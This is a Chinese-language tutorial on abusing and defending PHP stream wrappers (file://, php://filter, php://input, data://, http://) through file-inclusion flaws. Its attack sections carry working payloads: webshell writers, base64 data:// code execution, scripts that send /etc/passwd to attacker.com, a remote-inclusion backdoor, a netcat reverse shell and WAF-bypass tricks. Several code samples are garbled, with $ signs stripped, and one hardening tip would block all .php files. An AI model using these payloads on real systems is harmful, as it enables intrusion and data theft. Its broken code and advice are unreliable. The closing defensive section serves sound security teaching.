PHP伪协议是文件包含、代码执行等漏洞渗透测试中的核心知识点,也是Web安全领域的高频考点与实战利器。本文将从基础认知、常用协议深度解析、进阶利用场景、安全风险剖析及全方位防护措施五个维度,结合多场景示例代码、攻防实战思路,全面拆解PHP伪协议,既满足作业需求,又助力夯实Web安全实战基础。
一、PHP伪协议基础认知
1.1 什么是PHP伪协议
PHP伪协议并非传统意义上的网络传输协议(如HTTP、HTTPS、FTP),而是PHP语言内置支持的一套"资源封装协议",用于统一实现对本地文件、内存数据、远程资源、数据流等不同类型资源的访问、读取、写入、执行等操作。这些协议可被PHP的文件操作函数(如include、require、file_get_contents、fopen、readfile等)识别并解析,无需额外安装扩展,默认集成在PHP环境中(部分子协议需特定PHP版本支持)。
PHP伪协议的核心价值的是"资源访问标准化"------通过统一的协议名称://资源路径/参数语法格式,开发者可使用相同的代码逻辑操作不同类型的资源,例如用file_get_contents既可以读取本地文件,也可以通过http://读取远程页面,还能通过php://filter读取编码后的文件源码。
补充:PHP伪协议的支持范围与PHP版本强相关,例如php://temp在PHP 5.1.0及以上版本稳定支持,data://协议在PHP 5.2.0及以上版本支持,老旧版本可能存在功能限制或漏洞,渗透测试中需先通过phpinfo()确认目标环境版本。
1.2 PHP伪协议的核心分类
根据功能与应用场景,PHP伪协议可分为三大类,不同类别对应不同的安全风险与实战价值:
-
本地资源访问类:仅用于操作本地服务器资源,不涉及远程请求,代表协议:file://、php://filter、php://memory、php://temp;
-
代码执行/数据流类:可接收请求数据、封装可执行代码,是高危漏洞利用的核心,代表协议:php://input、data://;
-
远程资源访问类:可访问远程服务器资源,可能导致远程代码执行,代表协议:http://、https://、ftp://、ftps://。

1.3 PHP伪协议的启用前提与环境检测
PHP伪协议的使用权限受php.ini配置文件中核心参数控制,同时依赖PHP版本与扩展支持,这也是渗透测试中"环境探测"的关键步骤。
1.3.1 核心配置项详解
| 配置项名称 | 默认值 | 核心作用 | 影响的伪协议 | 安全建议 |
|---|---|---|---|---|
| allow_url_fopen | On | 允许PHP通过URL形式访问远程资源(如HTTP、FTP),同时影响部分本地协议的数据流处理 | data://、http://、https://、ftp:// | 非必要场景关闭,业务需远程访问时用curl替代 |
| allow_url_include | Off | 允许在`include`/`require`等文件包含函数中使用URL形式资源,直接决定高危代码执行能否实现 | php://input、data://、http://、https:// | 强制关闭,是防护核心配置 |
| open_basedir | 无(默认不限制) | 限制PHP可访问的本地文件目录范围,超出范围的文件无法通过伪协议读取 | 所有本地伪协议(file://、php://filter等) | 设置为网站根目录(如/www/wwwroot/),限制目录 |

1.3.2 环境配置检测示例代码
通过以下代码可快速检测目标PHP环境的伪协议支持相关配置,为渗透测试提供依据:
<?php
// 检测核心配置项取值
echo "allow_url_fopen: " . (ini_get('allow_url_fopen') ? "开启(On)" : "关闭(Off)") . "<br/>";
echo "allow_url_include: " . (ini_get('allow_url_include') ? "开启(On)" : "关闭(Off)") . "<br/>";
echo "open_basedir: " . (ini_get('open_basedir') ?: "未限制") . "<br/>";
// 检测PHP版本
echo "PHP版本: " . PHP_VERSION . "<br/>";
// 简单检测伪协议可用性(以file://和php://filter为例)
try {
$file_test = @file_get_contents("file://./test.txt");
echo "file://协议可用性: " . ($file_test !== false ? "可用" : "不可用(可能无权限或文件不存在)") . "<br/>";
} catch (Exception $e) {
echo "file://协议可用性: 不可用(异常:" . $e->getMessage() . ")<br/>";
}
try {
$filter_test = @file_get_contents("php://filter/convert.base64-encode/resource=./test.txt");
echo "php://filter协议可用性: " . ($filter_test !== false ? "可用" : "不可用(可能无权限或文件不存在)") . "<br/>";
} catch (Exception $e) {
echo "php://filter协议可用性: 不可用(异常:" . $e->getMessage() . ")<br/>";
}
?>
二、常用PHP伪协议深度解析(附多场景示例代码)
2.1 file:// 协议:本地文件读取/写入协议
2.1.1 协议原理与特性
file://是PHP默认支持的本地文件访问协议,本质是直接调用本地文件系统接口,实现对文件的读取、写入、修改等操作,是本地文件泄露漏洞的最基础、最常用利用手段。该协议不受allow_url_fopen和allow_url_include配置影响,仅受文件权限与open_basedir限制。
其核心优势是兼容性极强(所有PHP版本支持),劣势是功能单一,仅能直接访问文件,无法绕过PHP代码解析(若包含PHP文件,会直接执行代码而非读取源码)。
2.1.2 使用条件与路径规则
-
权限要求:执行PHP脚本的用户(如Linux下的www-data、Windows下的IUSR)需对目标文件拥有对应权限(读取需r权限,写入需w权限);
-
路径格式:支持绝对路径、相对路径、网络共享路径,不同系统路径分隔符有差异:
-
Linux系统:file:///绝对路径/文件名(如file:///etc/passwd),相对路径file://./test.txt;
-
Windows系统:file:///C:/Windows/System32/drivers/etc/hosts,网络共享路径、file:////192.168.1.100/share/test.txt(需支持SMB协议)。
-
2.1.3 多场景示例代码
示例1:读取本地敏感文件(渗透测试常用)
<?php
// Linux系统读取敏感文件
$passwd = @file_get_contents("file:///etc/passwd"); // 系统用户配置文件
$shadow = @file_get_contents("file:///etc/shadow"); // 密码哈希文件(通常需root权限)
$nginx_conf = @file_get_contents("file:///etc/nginx/nginx.conf"); // Nginx配置文件
// Windows系统读取敏感文件
$hosts = @file_get_contents("file:///C:/Windows/System32/drivers/etc/hosts"); // hosts文件
$php_ini = @file_get_contents("file:///C:/php/php.ini"); // PHP配置文件
// 输出结果(格式化展示)
echo "Linux /etc/passwd 内容:<br/><pre>" . $passwd . "</pre><hr/>";
echo "Windows hosts 内容:<br/><pre>" . $hosts . "</pre>";
?>
示例2:结合路径遍历漏洞读取上级目录文件
当Web应用存在路径遍历漏洞(未过滤`../`)时,可通过`file://`协议读取网站根目录外的文件:
<?php // 假设存在动态包含:include $_GET['file']; // 攻击者构造URL:http://localhost/test.php?file=file://../../../../etc/passwd // 以下为漏洞代码示例(请勿在生产环境使用) $file = $_GET['file']; @include $file; ?>
示例3:使用fopen函数写入文件(需写入权限)
<?php // 用file://协议写入本地文件 $fp = @fopen("file://./malicious.php", "w"); // 以写入模式打开文件 if ($fp) { fwrite($fp, "<?php @eval(\$_POST['cmd']); ?>"); // 写入一句话后门 fclose($fp); echo "文件写入成功,后门路径:./malicious.php"; } else { echo "文件写入失败(可能无权限或路径错误)"; } ?>
2.2 php:// 协议:PHP内置核心伪协议(攻防重点)
php://是PHP最核心的伪协议集,包含多个子协议,覆盖本地文件过滤、数据流读取、内存操作等功能,其中php://filter和php://input是网络安全攻防中的高频考点,php://memory和php://temp则用于合法场景的内存数据处理。
2.2.1 php://filter:文件过滤与编码绕过协议
协议原理与核心价值
php://filter是一个"过滤型中间件协议",并非直接访问文件,而是在读取文件内容的过程中,对数据进行编码转换、字符过滤等处理后再输出。其核心价值在于绕过PHP代码解析------当直接包含PHP文件时,PHP解析器会执行代码而非输出源码,而通过php://filter将PHP源码编码(如Base64)后读取,可获取原始源码,是窃取网站源码的核心手段。
该协议不受allow_url_include配置影响,仅受文件权限与open_basedir限制,兼容性极强(PHP 4.3.0及以上版本支持)。
核心语法与过滤器类型
完整语法格式(支持多过滤器链式调用,按顺序执行):
php://filter/[过滤器1]/[过滤器2]/.../resource=目标文件路径
常用过滤器分类:
-
编码过滤器:用于编码转换,核心用于绕过解析,如convert.base64-encode(Base64编码)、convert.quoted-printable-encode(quoted-printable编码);
-
字符过滤器:用于字符处理,如string.toupper转大写)、string.strip_tags(去除HTML标签);
-
转换过滤器:用于数据格式转换,如convert.iconv.utf-8//gbk(UTF-8转GBK)。
多场景示例代码
示例1:Base64编码读取PHP源码(渗透核心场景)
<?php // 读取当前目录下的config.php源码(PHP文件,直接包含会执行代码) $source = file_get_contents("php://filter/convert.base64-encode/resource=./config.php"); echo "config.php源码(Base64编码):<br/>" . $source . "<br/>"; // 解码还原源码 echo "解码后源码:<br/><pre>" . base64_decode($source) . "</pre>"; ?>
应用场景:当Web应用存在文件包含漏洞时,攻击者构造URL:http://localhost/test.php?file=php://filter/convert.base64-encode/resource=./config.php,获取编码后的源码后解码,即可得到数据库账号密码等敏感信息。
示例2:多过滤器链式调用
<?php // 先将文件内容转大写,再进行Base64编码 $content = file_get_contents("php://filter/string.toupper/convert.base64-encode/resource=./test.txt"); echo "处理后内容:" . $content . "<br/>"; // 反向解码还原 echo "还原内容:" . strtolower(base64_decode($content)) . "<br/>"; ?>
示例3:绕过open_basedir限制(进阶技巧)
当open_basedir限制了目录访问时,可通过php://filter结合zip://协议绕过(需PHP 5.3.0及以上版本),示例如下:
<?php // 1. 先将目标文件(如/etc/passwd)压缩为zip包(passwd.zip),并上传至网站可访问目录 // 2. 通过以下代码读取zip包内的文件,绕过open_basedir限制 $content = file_get_contents("php://filter/convert.base64-encode/resource=zip://./passwd.zip#passwd"); echo base64_decode($content); ?>
2.2.2 php://input:POST数据流读取与代码执行
协议原理与特性
php://input用于读取HTTP请求中POST方法提交的原始数据体(不包含multipart/form-data格式的文件上传数据),相当于直接读取请求的"消息体"。其核心风险在于:当allow_url_include=On时,结合include/require函数,可将POST提交的PHP代码直接执行,实现无文件落地的远程代码执行(RCE)。
该协议的特点:无需知道目标服务器文件路径,无需上传文件,仅需通过POST提交代码即可执行,隐蔽性极强,是文件包含漏洞的高危利用方式。
使用条件
-
必须开启allow_url_include=On(默认关闭,高危配置);
-
请求方法为POST,GET方法无法通过php://input读取数据;
-
POST数据格式需为application/x-www-form-urlencoded(默认表单格式),multipart/form-data格式会被过滤。
多场景示例代码
示例1:基础代码执行(利用文件包含漏洞)
<?php // 漏洞代码:未过滤的动态包含(请勿在生产环境使用) @include $_GET['file']; ?>
攻击者操作步骤:
-
使用Burp Suite/Postman发送POST请求,请求体中写入PHP代码:
<?php phpinfo(); ?>(查看PHP环境信息)、<?php system("whoami"); ?>(查看当前用户); -
服务器会执行POST提交的代码,返回执行结果。
示例2:读取POST原始数据(合法场景)
无需开启allow_url_include,仅用于读取POST数据,适用于接口开发场景:
<?php
// 读取POST原始数据(如JSON格式数据)
$post_data = file_get_contents("php://input");
// 解析JSON数据
json_data = json_decode(post_data, true);
echo "POST提交的JSON数据:<br/><pre>" . print_r($json_data, true) . "</pre>";
?>
示例3:写入后门文件(进阶利用)
通过php://input执行写入文件代码,在服务器上留下后门:
POST请求体内容:
<?php
// 写入一句话后门到网站根目录
$fp = fopen("./shell.php", "w");
fwrite(fp, "\_REQUEST['cmd']); ?>");
fclose($fp);
echo "后门写入成功:./shell.php";
?>
执行后,攻击者可通过http://localhost/shell.php?cmd=system("ls");控制服务器。
2.2.3 php://memory 与 php://temp:内存数据流操作
协议原理与区别
两者均用于在内存中创建临时数据流,用于临时存储数据,避免频繁读写本地文件,提升性能,属于合法场景常用协议,无直接安全风险。
-
php://memory:将数据完全存储在内存中,关闭数据流后数据立即丢失,无大小限制(受内存大小限制);
-
php://temp:默认将数据存储在内存中,当数据大小超过预设阈值(通常为2MB)时,自动将数据写入临时文件(临时文件位于系统临时目录,关闭数据流后自动删除)。
示例代码:内存数据流操作
<?php // 使用php://memory存储数据 $memory_fp = fopen("php://memory", "r+"); fwrite($memory_fp, "这是存储在内存中的数据"); rewind($memory_fp); // 指针回到开头 $memory_data = fread($memory_fp, filesize("php://memory")); fclose($memory_fp); echo "php://memory 数据:" . $memory_data . "<br/>"; // 使用php://temp存储数据 $temp_fp = fopen("php://temp", "r+"); for ($i = 0; $i < 1000; $i++) { fwrite($temp_fp, "临时数据-" . $i . "\n"); } rewind($temp_fp); $temp_data = stream_get_contents($temp_fp); fclose($temp_fp); echo "php://temp 数据(前100字符):" . substr($temp_data, 0, 100) . "...<br/>"; ?>
2.3 data:// 协议:数据封装与无文件代码执行
协议原理与特性
data://协议基于RFC 2397标准,用于将数据直接封装在URL中,以"数据流"的形式传递给PHP解析器,支持明文与Base64编码格式。其核心风险在于:当allow_url_fopen和allow_url_include均开启时,可通过include函数直接执行封装在URL中的PHP代码,实现无文件落地的RCE,隐蔽性远超文件上传漏洞。
该协议的特点:无需依赖远程服务器,无需上传文件,数据与请求URL一体化,易绕过传统WAF对文件上传的拦截。
使用条件与核心语法
-
必须开启allow_url_fopen=On和allow_url_include=On(双开启,风险极高);
-
PHP 5.2.0及以上版本支持,部分老旧版本可能存在编码解析漏洞。
核心语法格式:
-
明文格式(特殊字符需转义,易被拦截):
data://MIME类型,PHP代码/文本内容示例:data://text/plain,<?php phpinfo(); ?> -
Base64编码格式(推荐,避免特殊字符转义,隐蔽性强):
data://MIME类型;base64,Base64编码后的内容示例:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==(对应明文<?php phpinfo(); ?>)
多场景示例代码
示例1:基础代码执行(文件包含漏洞利用)
<?php
// 漏洞代码:动态包含用户可控参数 @include $_GET['file']; ?>
攻击者构造URL(Base64编码格式,避免拦截):
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTsgPz4=
解码后代码为<?php system("whoami"); ?>,服务器会执行该代码并返回当前用户信息。
示例2:执行复杂代码(创建后门+信息窃取)
<?php
// 编码前的复杂代码:创建后门并窃取/etc/passwd
$code = '<?php
$backdoor = fopen("./backdoor.php", "w");
fwrite(backdoor, "\_POST[\'x\']); ?>");
fclose($backdoor);
$passwd = file_get_contents("/etc/passwd");
file_get_contents("http://attacker.com/recv.php?data=" . base64_encode($passwd));
echo "执行完成";
?>';
// Base64编码
base64_code = base64_encode(code);
// 构造data://协议URL
url = "http://localhost/test.php?file=data://text/plain;base64," . base64_code;
echo "攻击URL:" . $url;
?>
示例3:绕过WAF拦截(大小写混淆+编码)
部分WAF会拦截data://关键字,可通过大小写混淆绕过(PHP协议名不区分大小写):
http://localhost/test.php?file=DATA://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
也可通过多编码叠加绕过(如先Base64编码,再对编码结果进行URL编码),提升绕过成功率。
2.4 http:///https:// 协议:远程文件包含(RFI)
协议原理与风险
http:///https://并非PHP专属伪协议,而是PHP支持的远程URL访问协议,用于通过include/require函数包含远程服务器上的PHP文件,并在本地服务器上执行该文件的代码,即"远程文件包含(RFI)"漏洞。该漏洞的风险在于:攻击者可控制远程文件内容,在本地服务器上执行任意代码,实现完全控制。
与data://协议相比,http://协议依赖远程服务器存储恶意文件,隐蔽性较弱,但攻击成本更低(无需构造复杂编码)。
使用条件
-
必须开启allow_url_fopen=On和allow_url_include=On;
-
本地服务器可正常访问攻击者控制的远程服务器(无网络防火墙拦截);
-
远程文件需为PHP格式(后缀为.php),且内容为可执行PHP代码(远程服务器需正确解析PHP,或直接返回PHP源码)。
示例代码:远程文件包含攻击
步骤1:攻击者搭建远程恶意文件服务器
在攻击者控制的服务器(如http://attacker.com)上创建malicious.php文件,内容如下:
<?php // 恶意代码:窃取本地服务器敏感信息并发送至攻击者服务器 $passwd = @file_get_contents("/etc/passwd"); $phpinfo = @phpinfo(INFO_ALL); // 将数据发送至攻击者的接收脚本 file_get_contents("http://attacker.com/recv.php?passwd=" . base64_encode($passwd) . "&phpinfo=" . base64_encode($phpinfo)); // 执行系统命令 @system($_GET['cmd']); ?>
步骤2:本地服务器存在远程文件包含漏洞
<?php // 漏洞代码:未过滤的远程包含 @include $_GET['file']; ?>
步骤3:攻击者构造攻击URL
http://localhost/test.php?file=http://attacker.com/malicious.php&cmd=ls -la /
执行后,本地服务器会包含远程malicious.php文件,执行其中的代码:窃取/etc/passwd和phpinfo信息发送至攻击者服务器,同时执行ls -la /命令并返回结果。
三、PHP伪协议进阶利用:漏洞组合与绕过技巧
3.1 伪协议与文件包含漏洞的组合利用
文件包含漏洞是PHP伪协议最核心的利用场景,根据漏洞类型可分为"本地文件包含(LFI)"和"远程文件包含(RFI)",结合不同伪协议可实现多样化攻击。
3.1.1 LFI+php://filter:窃取源码
场景:Web应用存在LFI漏洞(仅允许包含本地文件),`allow_url_include=Off`,无法执行代码,但可通过`php://filter`读取PHP源码。
攻击URL:`http://localhost/test.php?file=php://filter/convert.base64-encode/resource=../config.php\`
3.1.2 LFI+php://input:代码执行(高危)
场景:LFI漏洞+allow_url_include=On,通过php://input提交代码执行,无需依赖本地文件。
攻击方式:URL为http://localhost/test.php?file=php://input,POST请求体写入\<?php system("nc attacker.com 4444 -e /bin/bash"); ?>,实现反弹shell。
3.1.3 LFI+data://:无文件代码执行
场景:LFI漏洞+双配置开启,通过`data://`协议直接在URL中封装代码,隐蔽性强。
攻击URL:http://localhost/test.php?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=
3.2 常见WAF绕过技巧
3.2.1 协议名混淆绕过
PHP协议名不区分大小写,可通过大小写混合绕过WAF关键字拦截:
-
PhP://filter、PHP://INPUT
-
dAtA://、DaTa://
3.2.2 过滤器拆分与冗余绕过
对php://filter的过滤器进行拆分或添加冗余字符,绕过规则匹配:
php://filter//convert.base64-encode//resource=config.php
php://filter/convert.base64-encode|string.toupper/resource=config.php
3.2.3 编码叠加绕过
对伪协议参数进行多次编码(如Base64+URL编码),绕过WAF解码检测:
-
原始代码:<?php phpinfo(); ?> → Base64编码:PD9waHAgcGhwaW5mbygpOyA/Pg==
-
对Base64结果进行URL编码:PD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D
-
攻击URL:http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D
3.2.4 协议嵌套绕过
结合多个伪协议嵌套使用,绕过`open_basedir`或WAF限制:
php://filter/resource=zip://./test.zip#config.php
data://text/plain;base64,PD9waHAgSW5jbHVkZUZpbGUoImZpbGU6Ly8vZXRjL3Bhc3N3ZCIpOyA/Pg==
四、PHP伪协议的安全风险与危害
4.1 核心安全风险分类
4.1.1 敏感信息泄露
通过file://、php://filter协议,攻击者可窃取服务器敏感文件,包括:
-
系统配置文件:/etc/passwd、/etc/shadow、php.ini、nginx.conf;
-
网站源码:config.php(数据库账号密码)、index.php(业务逻辑);
-
用户数据:数据库备份文件(.sql)、日志文件(access.log、error.log)。
4.1.2 远程代码执行(RCE)
通过php://input、data://、http://协议,攻击者可执行任意PHP代码,进而:
-
执行系统命令:查看服务器目录、创建/删除文件、下载恶意程序;
-
反弹shell:获取服务器交互权限,长期控制服务器;
-
植入后门:写入一句话木马、不死马,维持控制权。
4.1.3 服务器权限提升
若PHP运行用户为高权限用户(如root、Administrator),攻击者通过伪协议执行代码后,可直接获取服务器最高权限,进行批量攻击、数据销毁等恶意操作。
4.2 典型攻击案例复盘(简化版)
案例:某企业Web系统存在文件包含漏洞(include $_GET['page'];),攻击者通过伪协议实现完整渗透。
-
环境探测:通过phpinfo()得知allow_url_fopen=On、allow_url_include=On,open_basedir未限制;
-
源码窃取:通过php://filter读取config.php,获取数据库账号密码(root/123456);
-
代码执行:通过data://协议执行mysql -u root -p123456 -e "select * from user;",窃取用户数据;
-
反弹shell:执行nc attacker.com 4444 -e /bin/bash,获取服务器root权限;
-
后门维持:写入不死马(通过php://input循环创建后门文件),长期控制服务器。
五、PHP伪协议安全防护措施(全方位方案)
5.1 配置层面:筑牢基础防护
5.1.1 强制关闭高危配置
-
allow_url_include = Off:核心防护配置,直接阻断php://input、data://、http://协议的代码执行功能;
-
allow_url_fopen = Off:非必要场景关闭,若业务需远程访问,用curl扩展替代;
-
open_basedir = /www/wwwroot/目标站点目录:限制PHP仅能访问网站根目录,阻断对系统敏感文件的读取。
5.1.2 其他辅助配置
-
disable_functions = system,exec,passthru,shell_exec,popen,proc_open:禁用高危系统命令函数,降低代码执行的危害;
-
log_errors = On、error_log = /www/logs/php_error.log:开启错误日志,记录异常伪协议访问请求。
5.2 代码层面:从源头阻断漏洞
5.2.1 禁止动态包含用户可控数据
尽量避免使用include/require函数包含用户传入的参数(如_GET、_POST、$_COOKIE),若业务必须使用,采用"白名单验证"机制。
<?php
// 安全写法:白名单验证
$allow_files = ['home.php', 'about.php', 'contact.php']; // 允许包含的文件白名单
file = _GET['page'];
if (in_array(file, allow_files)) {
include $file;
} else {
echo "非法访问!";
}
?>
5.2.2 强化输入过滤
对用户输入的参数进行严格过滤,阻断伪协议关键字:
<?php
// 过滤伪协议关键字
function filter_pseudo_protocol($input) {
$blacklist = ['php://', 'data://', 'file://', 'http://', 'https://', 'ftp://'];
foreach (blacklist as keyword) {
if (stripos(input, keyword) !== false) { // stripos不区分大小写
return false;
}
}
// 过滤路径遍历字符
input = str_replace(\['../', './', '..\\\\', '.\\\\'\], '', input);
return $input;
}
file = _GET['file'];
filtered_file = filter_pseudo_protocol(file);
if ($filtered_file) {
include $filtered_file;
} else {
echo "非法参数!";
}
?>
5.2.3 规范文件操作函数使用
-
使用include_once/require_once替代include/require,避免重复包含导致的漏洞;
-
读取文件时优先使用绝对路径,避免相对路径带来的路径遍历风险;
-
对文件操作结果进行异常捕获,避免泄露服务器路径信息。
5.3 环境层面:加固运行环境
5.3.1 最小权限原则
配置PHP运行用户为低权限用户(如Linux下的www-data,无sudo权限;Windows下的IUSR,仅拥有网站目录权限),即使攻击者执行代码,也无法获取系统高权限。
5.3.2 部署Web应用防火墙(WAF)
部署商用WAF(如阿里云WAF、华为云WAF)或开源WAF(如ModSecurity),配置针对PHP伪协议的防护规则:
-
拦截包含php://、data://、file://等关键字的请求;
-
拦截Base64编码后的PHP代码特征(如PD9waHA=对应<?php);
-
监控异常文件包含请求,及时告警并阻断。
5.3.3 隐藏敏感信息
-
将php.ini、数据库配置文件、备份文件等敏感文件放置在网站根目录之外;
-
通过.htaccess文件禁止访问敏感后缀文件(如.php、.ini、.sql):
Order deny,allow ``Deny from all ``<FilesMatch "\.(php|ini|sql)$"> `` Deny from all ``</FilesMatch> -
关闭PHP错误提示(`display_errors = Off`),避免泄露服务器路径、配置等信息。
5.4 审计与运维层面:持续防护
5.4.1 定期代码审计
重点审计以下内容,排查潜在漏洞:
-
include/require、file_get_contents、fopen等函数是否使用用户可控参数;
-
输入过滤逻辑是否完善,是否能覆盖伪协议、路径遍历等攻击场景;
-
是否存在禁用函数绕过、配置